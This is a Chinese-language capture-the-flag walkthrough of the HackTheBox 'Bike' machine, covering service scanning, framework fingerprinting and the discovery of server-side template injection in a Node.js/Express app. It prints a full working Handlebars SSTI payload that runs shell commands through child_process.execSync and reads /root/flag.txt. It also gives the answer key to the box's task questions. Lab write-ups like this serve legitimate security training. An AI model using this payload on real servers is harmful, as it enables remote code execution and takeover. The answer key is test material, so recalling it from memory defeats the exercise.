HackTheBox-Bike

admin 2024年2月26日22:22:50评论16 views字数 2085阅读6分57秒阅读模式

初始点1级第七关Bike

获取目标机IP。

HackTheBox-Bike

nmap扫描开放端口。

nmap -sC -sV -v {target_IP}
-sC:脚本扫描
-sV:版本检测
-v:详细扫描

HackTheBox-Bike

22和80端口开放,80端口上运行http node.js服务器且使用的是Express框架。

访问80端口。有一个提交电子邮件订阅功能。

提交邮箱[email protected]查看。

HackTheBox-Bike

输入内容显示在页面,考虑存在xss,不过我们需要网站后端使用了哪些框架和语言。

可以使用Wappalyzer插件进行扫描。

HackTheBox-Bike

与nmap扫描结果一样,服务器是基于node.js构建的,使用的是Express框架。

什么是 Node.js

Node.js 是能够在服务器端运行JavaScript的开放源代码、跨平台执行环境。

什么是Express

Express 是一个简洁而灵活的node.js Web应用框架。

输入测试xss,没成功,输入被显示在页面。

HackTheBox-Bike

寻找其他漏洞。

在Node.js开发中,模板引擎不可或缺,与其他软件一样,模板引擎也可能存在漏洞,这里可以测试SSTI。

什么是模板引擎

模版引擎用于在网页上显示动态生成的内容,用用户输入替换模版文件中的变量,并将这些值显示给客户端。

什么是SSTI

攻击者向模板注入恶意代码,使恶意代码在服务器上执行。代码通过模板引擎运行,在受影响的服务器上执行。

下图为如何识别SSTI存在和如何找出具体使用了那个模板引擎。

HackTheBox-Bike

如果SSTI存在,payload则被执行。

输入${7*7}尝试,没有被执行,payload被输出。

HackTheBox-Bike

输入{{7*7}}尝试,报错。

HackTheBox-Bike

payload有效,但有错误没被执行,但从返回的信息中发现,使用的是handlebars模板引擎,而且在/root/Backend目录运行。

burp抓包,发送到repeater,修改email为我们的payload。payload如下:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

payload很难理解,只关注{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}这一行即可,execSyne()为我们要执行的命令。

对payload进行url编码。

HackTheBox-Bike

替换email内容。发送。

HackTheBox-Bike

woami被执行,替换成ls /root命令查看root目录。

HackTheBox-Bike

root目录发现flag.txt文件。

命令替换成cat /root/flag.txt查看flag值。

HackTheBox-Bike

Bike任务

任务1

问:nmap 识别哪些 TCP 端口为开放?回答以逗号分隔的端口列表,不带空格,从低到高。

答:22,80

任务2

问:什么软件正在运行侦听第一个问题中标识的 http/web 端口的服务?

答:Node.js

任务3

问:根据 Wappalyzer,Web 框架的名称是什么?

答:Express

任务4

问:我们通过提交 {{7*7}} 测试的漏洞的名称是什么?

答:Server Side Template Injection

任务5

问:Node.JS 中使用的模板引擎是什么?

答:Handlebars

任务6

问:用于编码文本的 BurpSuite 选项卡的名称是什么?

答:Decoder

任务7

问:为了在 HTTP 请求中发送有效负载中的特殊字符,我们将对有效负载进行编码。我们使用什么类型的编码?

答:URL

任务8

问:当我们使用 HackTricks 中的有效负载尝试运行系统命令时,我们会收到错误消息。响应错误中的“未定义”是什么?

答:require

任务9

问:Node.JS 中顶级作用域的名称是什么变量?

答:global

任务10

问:通过利用此漏洞,我们可以以 Web 服务器运行时的用户身份执行命令。该用户的名字是什么?

答:root

任务11

提交flag。

总结

当事情不景气时,继续前进、坚持不懈是至关重要的。


原文始发于微信公众号(AlertSec):HackTheBox-Bike

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月26日22:22:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Bikehttp://cn-sec.com/archives/2526859.html

发表评论

匿名网友 填写信息